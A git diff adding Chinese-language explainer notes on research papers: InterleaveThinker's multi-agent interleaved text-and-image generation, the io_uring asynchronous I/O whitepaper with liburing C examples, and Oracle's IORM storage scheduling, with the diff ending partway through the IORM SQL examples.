+- **长请求不再被单卡卡住**：2000K token 的上下文，传统单 A100（80GB）根本放不下。Infinite-LLM 用 32 张卡轻松支持。
+- **吞吐提升 1.35-3.4x**：在 32 × A100 的集群上，相比 vLLM / Orca 等 SOTA 方法。
+
+---
+
+## 一句话总结
+
+**Infinite-LLM = 把 Attention 层从模型中独立出来，用 DistAttention 让它能跨机器分布式计算，然后用一个"借内存"的调度器把全集群显存变成一个超级大池子。**
+
+---
+
+## 思考题
+
+1. DistAttention 的 Online Softmax 变换和 vLLM 的 PagedAttention 各自解决什么问题？它们的正交性如何？
+2. 论文中的"债务人/债权人"模型和 Cassandra 的"种子节点/副本"机制有什么类比关系？
+3. 如果 gManager 挂了怎么办？论文提到集中式调度，这在生产环境中是单点故障吗？
+
+（等你的回答后，我们继续深入下一部分。）
diff --git a/src/content/docs/papers/interleave-thinker.md b/src/content/docs/papers/interleave-thinker.md
new file mode 100644
index 000000000..620ce4246
--- /dev/null
+++ b/src/content/docs/papers/interleave-thinker.md
@@ -0,0 +1,229 @@
+---
+title: InterleaveThinker: Reinforcing Agentic Interleaved Generation
+来源: https://arxiv.org/abs/2606.13679
+日期: 2026-06-13
+分类: 机器学习
+子分类: 智能体
+provenance: pipeline-v3
+---
+
+# InterleaveThinker: Reinforcing Agentic Interleaved Generation
+
+## 1 一句话总结
+
+这篇文章提出了一套"多智能体流水线"，让原本只能画单张图片的 AI 图像生成器，拥有了连续生成"文字+图片"交替序列的能力。
+
+## 2 日常类比：拍一部四格漫画
+
+想象你要让一位画家按你的要求画一部四格漫画：
+
+- **传统做法**（现有模型）：你告诉画家"画第一格"，他画完。然后你指着第一格说"接着画第二格"，画家看着第一格画第二格，再看第二格画第三格……问题是：画家常被前面已经画好的格子"带偏"，画到第三格时可能突然觉得"嗯，这跟结局很像"就提前收尾了。而且一旦第二格画歪了，第三格、第四格会越画越歪——这就是论文说的"视觉过度依赖"和"逐步误差累积"。
+
+- **InterleaveThinker 的做法**：你请来三个人协作。
+  1. **规划师（Planner）**：先不看画布，一次性把所有格子的画法写在纸上（全局计划）。
+  2. **画家（Generator）**：按照纸上写的步骤，一格一格地画。
+  3. **质检员（Critic）**：每画完一格就看一眼——"这格跟规划师写的步骤对得上吗？"如果不对，就修改画法的描述，让画家重画这一格，直到合格为止。
+
+关键区别：规划师在开始时就把所有步骤想好了，画家画图时看不到中间结果，所以不会被前面的格子带偏。质检员负责在每个步骤上把关。
+
+## 3 核心概念拆解
+
+### 3.1 什么是"交错生成"（Interleaved Generation）
+
+传统图像生成模型只接受一段文字，输出一张图片。而"交错生成"指的是输入和输出都是**文字和图片交替排列的序列**，比如：
+
+```
+[文字: "一只猫坐在窗台上"]
+[图片: 猫的图像]
+[文字: "然后月亮升起来了"]
+[图片: 月亮升起后的场景]
+[文字: "最后星星出现了"]
+[图片: 星空下的猫]
+```
+
+这种能力对于制作视觉叙事（故事漫画）、操作指导（一步步的教学图解）、机器人操控（每一步的动作可视化）都非常重要。
+
+### 3.2 为什么现有模型做不到？
+
+有两种主流方法尝试解决这个问题，都有缺陷：
+
+**方法一：直接训练端到端的多模态模型（UMM）**
+
+像 Janus-Pro、Emu3.5 这样的模型，天生就能生成文字+图片交替序列。但它们在生成长序列时会遇到两个问题：
+
+- **视觉过度依赖**：模型太依赖前面已经生成的图片，容易在中间状态就"误以为"已经完成了目标，提前结束。
+- **逐步误差累积**：第一步稍微画歪了一点，第二步就会跟着歪，第三步更歪，最后完全失控。
+
+**方法二：让同一个 VLM 既规划又评估**
+
+如果用一个模型同时做规划和评估，它会因为不断看到中间生成的图片而"短视"——只顾眼前的局部反馈，忘了最终目标。
+
+### 3.3 InterleaveThinker 的解决方案：三人协作
+
+论文的核心创新就是把"规划"和"评估"拆给两个不同的模型来做：
+
+```
+输入: 用户的文字/图片描述
+         │
+         ▼
+   ┌───────────┐
+   │  Planner   │  ← 一次性生成所有步骤的计划（不看中间图片）
+   └─────┬─────┘
+         │ 输出: [(步骤1指令, 步骤1提示词, 辅助文本), ...]
+         │
+         ▼
+   ┌───────────┐
+   │ Generator  │  ← 用现有的图像生成模型（如 FLUX.2-klein）
+   └─────┬─────┘
+         │ 输出: 当前步骤的图片
+         │
+         ▼
+   ┌───────────┐
+   │   Critic   │  ← 对比图片和计划，判断是否合格
+   └─────┬─────┘
+         │ 不合格? → 修改提示词 → 回到 Generator 重画
+         │ 合格?  → 进入下一步
+         ▼
+   输出: 完整的文字+图片交替序列
+```
+
+## 4 代码示例
+
+### 示例一：整个流程的工作伪代码
+
+```python
+# 用户输入: "画一个苹果从红变绿的过程"
+input_sequence = "画一个苹果从红变绿的过程"
+
+# === 第 1 步: Planner 生成全局计划 ===
+# Planner 一次性输出所有步骤，不看任何图片
+plan = planner(input_sequence)
+# plan 的输出类似:
+# [
+#   {"instruction": "画一个红色的苹果",
+#    "prompt": "a fresh red apple on a wooden table, realistic style",
+#    "auxiliary": "apple should be bright red with a small stem"},
+#   {"instruction": "苹果开始变黄",
+#    "prompt": "the same apple now showing yellow patches, transition phase",
+#    "auxiliary": "yellow should appear as gradual color shift"},
+#   {"instruction": "苹果完全变成绿色",
+#    "prompt": "a fresh green apple on a wooden table, realistic style",
+#    "auxiliary": "green apple should look ripe and shiny"}
+# ]
+
+# === 第 2~3 步: Generator + Critic 循环执行每个步骤 ===
+output_sequence = []
+for step in plan:
+    refined_prompt = step["prompt"]  # 初始提示词
+    for _ in range(max_iterations=5):
+        # Generator 根据提示词生成图片
+        image = generator(refined_prompt, previous_image)
+
+        # Critic 评估这张图片是否符合当前步骤的要求
+        judgment, refined_prompt, reasoning = critic(
+            previous_image,   # 上一张图
+            image,             # 刚生成的图
+            step["prompt"],    # 原始计划中的提示词
+            refined_prompt     # 当前使用的提示词
+        )
+
+        if judgment == True:
+            # 质检通过，记录结果并进入下一步
+            output_sequence.append({
+                "text": step["instruction"],
+                "image": image,
+                "auxiliary": step["auxiliary"]
+            })
+            break  # 跳出重试循环，进入下一步
+        else:
+            # 质检不通过，用 Critic 给出的新提示词重试
+            pass  # refined_prompt 已经被更新了
+
+# === 最终输出 ===
+# 得到完整的交错序列:
+# [文字, 图片, 文字, 图片, 文字, 图片]
+```
+
+### 示例二：Critic 的奖励函数（GRPO 强化学习）
+
+Critic 模型通过强化学习来改进自己的"质检能力"。论文提出了一个巧妙的**双奖励机制**，而不是对整个长序列做优化（那样计算量太大，一个序列可能需要 25 次以上调用图像生成器）。
+
+```python
+# 假设 Critic 在第 i 步的第 t 次迭代中做出了判断
+def compute_reward(previous_image, current_image, next_image,
+                   original_prompt, refined_prompt):
+    """
+    计算 Critic 在这一轮迭代中的综合奖励。
+    只优化单步，不优化整个长序列 —— 这是论文的关键设计。
+    """
+
+    # --- 奖励 1: 准确性奖励 (Accuracy Reward) ---
+    # 衡量 Critic 的判断是否正确
+    predicted_judgment = critic.predict(previous_image, current_image,
+                                        original_prompt, refined_prompt)
+    ground_truth_judgment = get_ground_truth(previous_image, current_image)
+    accuracy_reward = -abs(predicted_judgment - ground_truth_judgment)
+    # 判断越准确，负值越小（奖励越大）
+
+    # --- 奖励 2: 步骤奖励 (Step-wise Reward) ---
+    # 衡量 Critic 修改提示词后，图片质量是否有提升
+    # 用 Gemini 2.5 Pro 作为评分器来打分
+    original_score = gemini_score(previous_image, current_image,
+                                  original_prompt, refined_prompt)
+    improved_score = gemini_score(previous_image, next_image,
+                                  original_prompt, next_refined_prompt)
+    step_reward = improved_score - original_score
+    # 分数提升了，step_reward 就是正的
+
+    # --- 综合奖励 ---
+    alpha = 0.2  # 准确性奖励的权重
+    format_reward = 1.0 if critic_output_format_correct else 0.0
+
+    total_reward = (
+        0.5 * format_reward
+        + 0.5 * (alpha * accuracy_reward + (1 - alpha) * step_reward)
+    )
+    return total_reward
+```
+
+为什么要这样设计？
+
+- 一个完整的交错生成序列可能需要 25 次以上的图像生成调用
+- 如果用传统的强化学习优化整个序列，计算成本极高且不稳定
+- 把问题拆解成"单步优化"，每一步的奖励独立计算，大大降低了难度
+- 因为 Planner 已经把全局计划定好了，只要每一步都做好，整个序列自然就好
+
+## 5 训练数据是怎么来的？
+
+论文构建了三个专用数据集：
+
+| 数据集 | 规模 | 用途 |
+|--------|------|------|
+| Interleave-Planner-SFT-80k | 8 万条 | 训练 Planner 学会分解任务 |
+| Interleave-Critic-SFT-112k | 11.2 万条 | 训练 Critic 学会评估和修改提示词 |
+| Interleave-Critic-RL-13k | 1.3 万条 | 用强化学习进一步训练 Critic |
+
+构建流程大致是：先用 Gemini 2.5 Pro 和 Nano Banana Pro 生成高质量的多智能体交互轨迹，然后用严格的过滤流程筛选出高质量样本。
+
+## 6 实验结果亮点
+
+- 在 UEval 基准测试上，InterleaveThinker + FLUX.2-klein 达到了 **66.3 分**，超过了所有开源多模态模型，接近闭源的 Nano Banana（76.1 分）。
+- 更令人意外的是，这个方法还大幅提升了基础模型的**推理能力**：
+  - WISE 基准：从 0.47 提升到 **0.73**
+  - RISE 基准：从 13.3 提升到 **28.9**
+- 这套框架是**模型无关**的——换用更强的图像生成器（如 Qwen-Image-Edit），效果还会进一步提升。
+
+## 7 关键设计决策：为什么只给 Critic 做强化学习？
+
+这是一个值得思考的设计选择：
+
+- **Planner 不做 RL**：因为一个序列可能涉及 25 次以上的图像生成调用，奖励信号太稀疏，RL 极不稳定。而且 SFT 阶段的效果已经足够好。
+- **Critic 做 RL**：因为 Critic 的每次判断都是"局部"的（只看一步），奖励信号密集且明确，适合用 GRPO 做单步强化学习。
+
+这体现了论文的一个核心理念：**把复杂问题拆解成可以独立优化的局部问题**。
+
+## 8 我的理解
+
+InterleaveThinker 最打动我的一点是：它没有试图去训练一个更大的模型来解决这个问题，而是用了一种"工程化"的思路——把一个大问题拆成三个角色，各司其职。规划师负责"想清楚"，画家负责"画出来"，质检员负责"把关"。这种思路在很多 AI 场景中可能都有借鉴价值。
+
+另外，双奖励机制的设计也很巧妙——与其费力优化一个长长的序列，不如确保每一步都走对。这让我想到了一句老话："千里之行，始于足下"。
diff --git a/src/content/docs/papers/io-uring-axboe-2019.md b/src/content/docs/papers/io-uring-axboe-2019.md
new file mode 100644
index 000000000..948b8b34f
--- /dev/null
+++ b/src/content/docs/papers/io-uring-axboe-2019.md
@@ -0,0 +1,288 @@
+---
+title: Efficient IO with io_uring — Linux 异步 IO 的环形队列革命
+来源: 'https://kernel.dk/io_uring.pdf'
+日期: 2026-06-13
+分类: 操作系统
+子分类: 内核与虚拟化
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Jens Axboe 在 2019 年发表的这篇白皮书，介绍了 Linux 新一代异步 IO 接口 **io_uring**。它的核心思想可以用一句日常类比概括：
+
+> 传统 IO 像**每次点外卖都要打电话**给餐厅确认订单；io_uring 则是在你和厨房之间放**两条共享传送带**——你把订单卡放上去，厨师做完菜把回执放下来，**只有带子快满或你要催单时才按一次门铃**（syscall）。
+
+两条传送带在文档里的正式名称是：
+
+| 名称 | 谁写 | 谁读 | 放什么 |
+|------|------|------|--------|
+| **SQ ring**（Submission Queue） | 应用程序 | 内核 | 「我要做什么 IO」——Submission Queue Entry（SQE） |
+| **CQ ring**（Completion Queue） | 内核 | 应用程序 | 「做完了，结果是…」——Completion Queue Event（CQE） |
+
+io_uring 在 Linux 5.1（2019 年 5 月）合入主线。作者 Axboe 是 Linux block layer 长期维护者，也是磁盘压测工具 **fio** 的作者——他比任何人都清楚旧接口哪里不够用。
+
+## 为什么需要它：旧接口哪里不行
+
+Linux 做文件 IO 的方式很多：`read`/`write`、`pread`/`pwrite`、向量版 `preadv`/`pwritev`……但它们有一个共同点：**同步**——syscall 返回时，数据已经读完或写完。
+
+想要异步，POSIX 有 `aio_read`/`aio_write`，性能往往很差；Linux 还有原生 **libaio**（`io_submit`/`io_getevents`），白皮书列举了它的致命缺陷：
+
+1. **只支持 O_DIRECT**：普通 buffered IO（走 page cache 的读写）在 libaio 里**退化成同步**，大多数应用根本用不了。
+2. **提交路径不确定**：元数据 IO、设备 request slot 满时，提交本身可能阻塞——你以为在「异步提交」，实际上还在等。
+3. **内存拷贝开销大**：每次提交拷贝 64+8 字节、每次完成拷贝 32 字节，对小块 IO 很亏。
+4. **至少两次 syscall**：一次 submit、一次 wait——在 Spectre/Meltdown 之后，syscall 本身就更贵了。
+
+当 NVMe SSD 延迟压到 10µs 以下、单盘 IOPS 破百万时，这些开销从「能忍」变成「卡脖子」。Axboe 最初尝试修补 libaio，发现只能解决其中一个问题，代码还变得更乱——于是**从零设计 io_uring**。
+
+## 设计目标（白皮书 §3）
+
+按重要性从低到高，白皮书列了五条：
+
+1. **易用、难误用** —— 接口直觉清晰。
+2. **可扩展** —— 不只服务块设备，还要覆盖网络和未来新 IO 类型。
+3. **功能丰富** —— 不让每个应用自己造 IO 线程池。
+4. **高效** —— 单请求开销要低，512B～4KB 的小 IO 也要划算。
+5. **可扩展（scalability）** —— 单核能榨干现代存储的峰值 IOPS。
+
+这五条看似互相矛盾（高效 + 易用往往冲突），io_uring 用**共享内存 + 环形队列**把矛盾压到最低。
+
+## 核心概念
+
+### 1. 双环 = 生产者-消费者模型
+
+异步 IO 有两类动作：**提交请求**和**收割完成**。
+
+- 提交时：应用是生产者，内核是消费者 → **SQ ring**
+- 完成时：内核是生产者，应用是消费者 → **CQ ring**
+
+每个环都是 **SPSC ring buffer**（单生产者单消费者环形缓冲区）：用 `head`/`tail` 两个计数器协调，**不需要和内核抢同一把锁**，靠内存屏障（memory barrier）保证可见性即可。
+
+环大小必须是 **2 的幂**；用 `index = tail & mask` 定位槽位，计数器自然回绕，不必维护「环已满」标志。
+
+### 2. SQE 与 CQE：两张「订单卡」
+
+**SQE**（64 字节，Submission Queue Entry）描述一次 IO 请求：
+
+```c
+struct io_uring_sqe {
+    __u8  opcode;      // 操作码，如 IORING_OP_READV
+    __u8  flags;
+    __u16 ioprio;
+    __s32 fd;
+    __u64 off;         // 文件偏移
+    __u64 addr;        // 缓冲区地址或 iovec 指针
+    __u32 len;
+    /* ... opcode 专用 flags union ... */
+    __u64 user_data;   // 内核原样抄到 CQE，用于关联请求
+};
+```
+
+**CQE**（Completion Queue Event）描述完成结果：
+
+```c
+struct io_uring_cqe {
+    __u64 user_data;   // 从 SQE 原样带回
+    __s32 res;         // 类似 syscall 返回值：成功=字节数，失败=负 errno
+    __u32 flags;
+};
+```
+
+关键约定：**完成顺序 ≠ 提交顺序**。网络乱序、磁盘调度都会让 CQE 乱序到达——必须用 `user_data` 把 SQE 和 CQE 配对，不能假设「第 3 个提交的一定第 3 个完成」。
+
+### 3. SQ 环的间接索引
+
+CQ 环直接索引 CQE 数组；SQ 环则多一层：**环里存的是 SQE 数组的下标**，不是 SQE 本身。这样应用可以把 SQE 嵌进自己的结构体里，批量提交时不必保证 SQE 在内存中连续——迁移老代码更自然。
+
+### 4. 三个 syscall + 三段 mmap
+
+| 步骤 | 系统调用 / 操作 | 作用 |
+|------|-----------------|------|
+| 创建实例 | `io_uring_setup(entries, &params)` | 返回 fd；`entries` 必须是 2 的幂，1～4096 |
+| 映射共享内存 | `mmap(..., IORING_OFF_SQ_RING/CQ_RING/SQES)` | 应用直接读写环和 SQE 数组 |
+| 提交 / 等待 | `io_uring_enter(fd, to_submit, min_complete, flags, ...)` | 一次 syscall 可同时「提交 N 个 SQE」和「等 M 个 CQE」 |
+| 高级注册 | `io_uring_register(...)` | 预注册 fd、固定 buffer 等（白皮书 §8，后续内核版本扩展） |
+
+`IORING_ENTER_GETEVENTS` 标志告诉内核：如果 CQ 里还没有足够的 CQE，就阻塞等待。但应用也可以**只读 CQ tail**——内核写完 CQE 会直接改 tail，不必每次都 enter。
+
+### 5. 内存屏障：为什么写 tail 前要「栅栏」
+
+CPU 和编译器可能重排写入顺序。如果你先更新了 SQ tail、后写完 SQE 字段，内核可能读到**半张订单卡**。
+
+白皮书规定的模式：
+
+```c
+/* 1. 填 SQE 各字段 */
+sqe->opcode = IORING_OP_READV;
+sqe->fd = fd;
+sqe->user_data = (uintptr_t)ctx;
+/* 2. 写 SQ 环 array[index] = sqe_index */
+io_smp_mb();   /* write barrier：SQE 写入对内核可见 */
+sqring->tail = sqring->tail + 1;
+io_smp_wmb();  /* 确保 tail 更新最后可见 */
+```
+
+读 CQ 时则在读 `cqring->tail` 前加 `read_barrier()`。日常用 **liburing** 库即可，它会按架构选好屏障指令；直接操作 raw ring 才需要自己管。
+
+### 6. 高级特性（白皮书后续章节）
+
+- **IOSQE_IO_DRAIN**：排空 SQ，等前面所有 IO 完成再提交后续 SQE——适合「一堆 write 之后 fsync」。
+- **IOSQE_IO_LINK**：链式 SQE，前一个成功才启动下一个——适合有序写或 read→write 管道。
+- **IORING_OP_TIMEOUT**：在 CQ 上设超时或完成计数触发器。
+- **SQPOLL / IOPOLL**（后续内核版本）：内核线程轮询 SQ，或轮询块设备完成——syscall 数可趋近零。
+
+## 代码示例
+
+### 示例 1：用 liburing 读一个文件（入门）
+
+大多数应用应通过 [liburing](https://github.com/axboe/liburing) 入门，它封装了 setup、mmap、屏障和 enter：
+
+```c
+#include <liburing.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <string.h>
+
+#define QD 8
+#define BSZ 4096
+
+int main(int argc, char **argv) {
+    struct io_uring ring;
+    char buf[BSZ];
+    int fd;
+
+    if (argc < 2) return 1;
+    fd = open(argv[1], O_RDONLY);
+    if (fd < 0) return 1;
+
+    io_uring_queue_init(QD, &ring, 0);
+
+    struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
+    io_uring_prep_read(sqe, fd, buf, BSZ, 0);
+    sqe->user_data = 1;
+
+    io_uring_submit(&ring);           /* 一次 syscall 提交 */
+
+    struct io_uring_cqe *cqe;
+    io_uring_wait_cqe(&ring, &cqe);   /* 等完成 */
+    if (cqe->res < 0)
+        fprintf(stderr, "read err: %s\n", strerror(-cqe->res));
+    else
+        write(STDOUT_FILENO, buf, cqe->res);
+
+    io_uring_cqe_seen(&ring, cqe);
+    close(fd);
+    io_uring_queue_exit(&ring);
+    return 0;
+}
+```
+
+对比传统 `read(fd, buf, BSZ)`：这里 **submit 和 wait 可以分开**——submit 后 CPU 可以去干别的，完成后再 `wait_cqe`。批量读文件时，可以在一个 submit 里塞多个 read SQE，syscall 数从「每块一次」降到「每批一次」。
+
+### 示例 2：批量提交 + 循环收割 CQE（白皮书思路）
+
+下面模拟白皮书 §4.2 的流程：先攒一批 SQE，一次 enter，再批量消费 CQE（伪代码风格，展示 ring 语义）：
+
+```c
+#include <liburing.h>
+
+#define BATCH 32
+
+void read_file_batch(struct io_uring *ring, int fd, char *bufs[BATCH], off_t base) {
+    /* --- 提交阶段：填满 SQ --- */
+    for (int i = 0; i < BATCH; i++) {
+        struct io_uring_sqe *sqe = io_uring_get_sqe(ring);
+        io_uring_prep_read(sqe, fd, bufs[i], 4096, base + i * 4096);
+        sqe->user_data = i;   /* 用槽位号关联完成事件 */
+    }
+    int submitted = io_uring_submit(ring);
+    /* submitted 可能 < BATCH：SQ 环满时需先收割再提交 */
+
+    /* --- 完成阶段：head != tail 就有 CQE --- */
+    int completed = 0;
+    while (completed < submitted) {
+        struct io_uring_cqe *cqe;
+        if (io_uring_peek_cqe(ring, &cqe) != 0)
+            io_uring_wait_cqe(ring, &cqe);  /* CQ 空则 enter 等待 */
+
+        int slot = (int)cqe->user_data;
+        if (cqe->res > 0)
+            process_chunk(slot, bufs[slot], cqe->res);
+        else
+            handle_error(slot, cqe->res);
+
+        io_uring_cqe_seen(ring, cqe);
+        completed++;
+    }
+}
+```
+
+要点：
+
+- **CQ 默认是 SQ 的 2 倍大**——允许应用短暂「提交快、收割慢」；若 CQ 溢出会计入 overflow 计数。
+- `io_uring_peek_cqe` 不阻塞，适合事件循环里先扫一遍已有完成再决定是否 wait。
+- 同一 fd 的多个 read **可以并行完成**，顺序由存储栈决定，不是由提交顺序决定。
+
+## 与 epoll 的区别（零基础常混）
+
+| | epoll | io_uring |
+|---|-------|----------|
+| 角色 | **通知**「fd 可读了」 | **完成**「读操作做完了，数据在这」 |
+| 谁做 IO | 应用收到通知后自己 `read` | 内核按 SQE 直接执行 read/write |
+| syscall | `epoll_wait` + N 次 `read` | 批量 submit + 批量 reap，可合并 |
+| 类比 | 餐厅喊「你的菜好了请自己来端」 | 传菜带直接把菜送到你桌上 |
+
+很多高性能服务器以前用 epoll + 非阻塞 IO；io_uring 把「等就绪 + 做 IO + 拿结果」整条链收进共享环里，尤其在 **高 IOPS 磁盘** 和 **multishot 网络**（一次 SQE 持续产出多个 CQE）场景优势更大。
+
+## 适用 vs 不适用
+
+**适合**：
+
+- 数据库 / KV / 日志等磁盘密集型服务（PostgreSQL 17+、ScyllaDB、RocksDB 生态）
+- 自研 thread-per-core 或 runtime（Tokio、monoio）控制调度
+- Linux 5.10+ 且你能接受较新的内核依赖
+
+**不太适合**：
+
+- 多租户 / 高安全场景——io_uring 暴露的内核攻击面曾引发 Google 在 Android/ChromeOS 上默认禁用
+- CPU 已是瓶颈、IO 很少的小工具——复杂度不值
+- 必须跑老内核（RHEL 7/8 早期）——要么没有 io_uring，要么 op 支持残缺
+
+## 历史脉络
+
+- **2003**：Linux native aio（libaio）进内核，但 O_DIRECT 限制埋下祸根。
+- **2010**：Axboe 等人尝试扩展 libaio 支持 buffered IO，未成功。
+- **2018 末**：Axboe 放弃修补 libaio，开始 io_uring 原型（当时叫 scqring）。
+- **2019-01**：发表白皮书 *Efficient IO with io_uring*（本文来源 PDF）。
+- **2019-05**：Linux 5.1 合入主线（commit `2b188cc`）。
+- **2020–2025**：持续演进——buffered read/write、SQPOLL、multishot accept/recv、零拷贝 send、io_uring 上的 `openat`/`statx` 等，接口从「块 IO 加速器」长成「通用异步 syscall 管道」。
+
+## 学到什么
+
+1. **共享内存 + 无锁环** 可以替代大量 syscall——这是 io_uring、eBPF ring buffer、DPDK 的共同方向。
+2. **批量摊销** 永远有效：N 次 IO 合并成 1 次 `io_uring_enter`，是白皮书强调的首要效率来源。
+3. **完成语义 ≠ 就绪语义**：从 epoll 思维切到 io_uring，要想「操作已完成」而不是「现在可以调 read 了」。
+4. **新接口也要看版本**：白皮书描述的是 2019 基础 API；具体 op 列表和性能特性以当前内核 man page 为准。
+
+## 延伸阅读
+
+- 白皮书原文：[Efficient IO with io_uring (PDF)](https://kernel.dk/io_uring.pdf)
+- LWN 导读：[Ringing in a new asynchronous I/O API](https://lwn.net/Articles/776703/)
+- 用户态库：[axboe/liburing](https://github.com/axboe/liburing) 与 `examples/` 目录
+- man page：[io_uring(7)](https://man7.org/linux/man-pages/man7/io_uring.7.html)、[io_uring_setup(2)](https://man7.org/linux/man-pages/man2/io_uring_setup.2.html)
+- 视频：[Kernel Recipes 2019 — Faster IO through io_uring](https://www.youtube.com/watch?v=-5T4Cjw46ys)
+
+## 关联
+
+- [[io-uring]] —— 本仓库另一篇 io_uring 实践向笔记（multishot、SQPOLL 性能数字）
+- [[ebpf]] —— 同样是用户态/内核共享数据结构，但安全模型不同
+- [[nvme-protocol-2017]] —— 把磁盘延迟压到 10µs 级，放大旧 aio 的 syscall 瓶颈
+- [[postgresql]] —— PG 17 起在 Linux 上推荐 io_uring 作为异步 IO 后端
+- [[quic]] —— 用户态网络栈与 io_uring 网络 op 的演进方向
+- [[flexsc-2010]] —— 更早的「syscall 异步化」思路，io_uring 是 Linux 主线上的落地
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
diff --git a/src/content/docs/papers/iorm-hierarchical-i-o-governance-for-thousands-of-consolidated-databases-arxiv-2.md b/src/content/docs/papers/iorm-hierarchical-i-o-governance-for-thousands-of-consolidated-databases-arxiv-2.md
new file mode 100644
index 000000000..819744e52
--- /dev/null
+++ b/src/content/docs/papers/iorm-hierarchical-i-o-governance-for-thousands-of-consolidated-databases-arxiv-2.md
@@ -0,0 +1,210 @@
+---
+title: IORM -- Hierarchical I/O Governance for Thousands of Consolidated Databases
+来源: https://arxiv.org/abs/2605.29006
+日期: 2026-06-13
+分类: 操作系统
+子分类: 内核与虚拟化
+provenance: pipeline-v3
+---
+
+# IORM -- 分层 I/O 治理：让数千个数据库共享存储也不打架
+
+## 一、问题：合租公寓里的网络大战
+
+想象你住在一栋大型公寓楼里。整栋楼只有一条大宽带，几十户人家共用。
+
+这时候有个矛盾出现了：
+
+- 301 的张先生在视频会议（对延迟极其敏感，网络抖一下画面就卡）
+- 502 的李先生在下载 100GB 的电影（吃满带宽，完全不急）
+- 704 的公司在做数据备份（持续占着通道）
+
+普通的路由器（类比操作系统的 I/O 调度器）只看到"数据在流动"，它不知道 301 的视频会议比 502 的下载更重要。结果就是张先生视频卡顿，很痛苦。
+
+这就是 **数据库合并（consolidation）** 的核心难题：成千上万个租户的数据库共享同一套存储，但它们的 I/O 需求完全不同——有的要低延迟，有的要高吞吐，有的可以等。操作系统层面的调度器看不见"哪个请求属于哪个租户"，所以无能为力。
+
+IORM（I/O Resource Manager）就是 Oracle 为了解决这个问题而设计的系统，跑在 Oracle Exadata 存储服务器上。
+
+## 二、核心架构：Exadata 长什么样？
+
+```
+数据库服务器 (Database Servers)
+     |
+     |  RDMA 高速网络
+     |
+存储服务器 (Storage Servers) <-- IORM 调度器在这里
+     |
+     +-- 持久内存 (PMEM)
+     +-- NVMe 闪存 (Flash)
+     +-- 机械硬盘 (HDD)
+```
+
+IORM 运行在存储服务器这个位置。数据库发来的每个 I/O 请求，在到达磁盘之前，都会先经过 IORM 的"安检口"。IORM 能看到每个请求的"身份标签"，然后决定先处理谁、后处理谁。
+
+## 三、三个核心机制
+
+IORM 的设计建立在三个核心机制上：
+
+### 3.1 机制一：I/O 标签（I/O Tagging）
+
+每个 I/O 请求都带着一个标签，从数据库一路传到存储服务器。标签里包含：
+
+- **租户身份**：哪个数据库（PDB/CDB）发出的
+- **工作负载类型**：交互事务、批量分析、后台维护
+- **I/O 类别**：用户数据、事务日志、临时数据、备份
+- **优先级提示**：高 / 中 / 低
+
+打个比方：快递分拣中心收到一堆包裹。普通的分拣只看重量和目的地；IORM 的包裹上贴着标签——"这是急诊药，加急"、"这是拼多多包裹，不急"、"这是系统日志备份，最不重要"。分拣员看到标签就知道先送哪个。
+
+标签生成开销极小：每个 I/O 不到 100 纳秒。
+
+### 3.2 机制二：分层资源配置（Hierarchical Resource Profiles）
+
+IORM 把资源管理分成三层，像俄罗斯套娃：
+
+```
+第一层：CDB（容器数据库）
+  └── 第二层：PDB（可插拔租户数据库）
+        └── 第三层：PDB Workload（租户内部的工作负载）
+```
+
+每一层都可以配置两种资源分配方式：
+
+- **Shares（份额）**：按比例分配。A 有 3 份，B 有 1 份，争抢时 A 拿 75% 带宽。B 不用时，A 可以独享 100%。
+- **Limits（上限）**：硬性上限。A 设置了 40% 上限，哪怕系统闲置，A 也不能超过 40%。
+
+两者可以组合使用。比如"占 60% 份额，但上限 40%"——空闲时最多冲到 40%，忙的时候按比例分配。
+
+关键性质：**组合隔离**。下层不能超过上层的限制。即使 PDB 内部把某个 workload 的份额设为 100%，它也不能超过该 PDB 从 CDB 分到的总量。
+
+### 3.3 机制三：统一存储治理（Unified Storage Governance）
+
+Exadata 的存储分三层：持久内存 (PMEM)、NVMe 闪存 (Flash)、机械硬盘 (HDD)。IORM 的策略在所有这些层级上保持一致。
+
+更重要的是，I/O 标签还决定**缓存放置**：哪些数据应该进入高速闪存缓存，哪些应该跳过。比如备份操作扫描大量数据但几乎不会重读，IORM 会让它直接绕过闪存缓存，防止"缓存污染"。
+
+## 四、调度算法：IORM 怎么决定先处理谁的请求？
+
+### 4.1 队列深度控制
+
+IORM 不让存储设备堆积太多请求。如果队列太深，高优先级请求就要排长队。
+
+以机械硬盘为例：
+- 读队列稳态目标：**62 个并发请求**
+  - 小请求（延迟敏感）保底 **32 个槽位**
+  - 大请求（批量扫描）最多 **10 个并发**
+- 写队列上限：**8 个并发**
+
+大请求占的"空间"更大。一个 1MB 的读取消耗的成本是小请求（8KB）的 3 倍。调度器用成本权重来计算队列深度。
+
+### 4.2 彩票调度（Lottery Scheduling）
+
+队列中有空位时，IORM 用"彩票"来决定谁先发：
+
+- 每个租户拥有的彩票数量 = 它的 share 值
+- 有 3 份的租户比有 1 份的租户中奖概率高三倍
+- 达到上限的租户不参与抽奖
+
+彩票调度是分层进行的：先选 CDB，再在 CDB 内选 PDB，再在 PDB 内选 workload。这样保证分层策略正确组合。
+
+### 4.3 利用率和截止时间
+
+- **成本化利用跟踪**：不按 I/O 个数算，按"设备实际忙多久"算。200ms 一个检查点，1 秒做一次汇总校正，防止短窗口波动导致的误判。
+- **截止时间防饿死**：每个请求带到达时间戳。如果等超过 1 秒，自动提升优先级，确保没有请求被无限期搁置。
+
+## 五、代码示例
+
+### 示例 1：设置 CDB 级 IORM 目标
+
+在 Oracle 数据库中，DBA 可以为整个容器数据库设置 IORM 目标：
+
+```sql
+-- 将 CDB 的 IORM 目标设为"自动"
+-- 系统自动检测工作负载特征并调整调度行为
+BEGIN
+  DBMS_RESOURCE_MANAGER.SET_IORM_SETTING(
+    cdb_name      => 'CDB_PROD',
+    iorm_target   => 'auto'            -- 可选: low_latency / high_throughput / balanced / auto
+  );
+END;
+/
+```
+
+### 示例 2：为租户 PDB 设置份额和上限
+
+```sql
+-- 为可插拔数据库 PDB_SALES 设置 IORM 资源分配
+-- shares=4 表示占 4 份比例
+-- limit_pct=60 表示即使空闲最多只能用 60% 带宽
+BEGIN
+  DBMS_RESOURCE_MANAGER.SET_PLUGGABLE_DATABASE_SETTING(
+    pdb_name     => 'PDB_SALES',
+    shares       => 4,
+    limit_pct    => 60
+  );
+END;
+/
+
+-- 为同一 PDB 内的不同工作负载分配份额
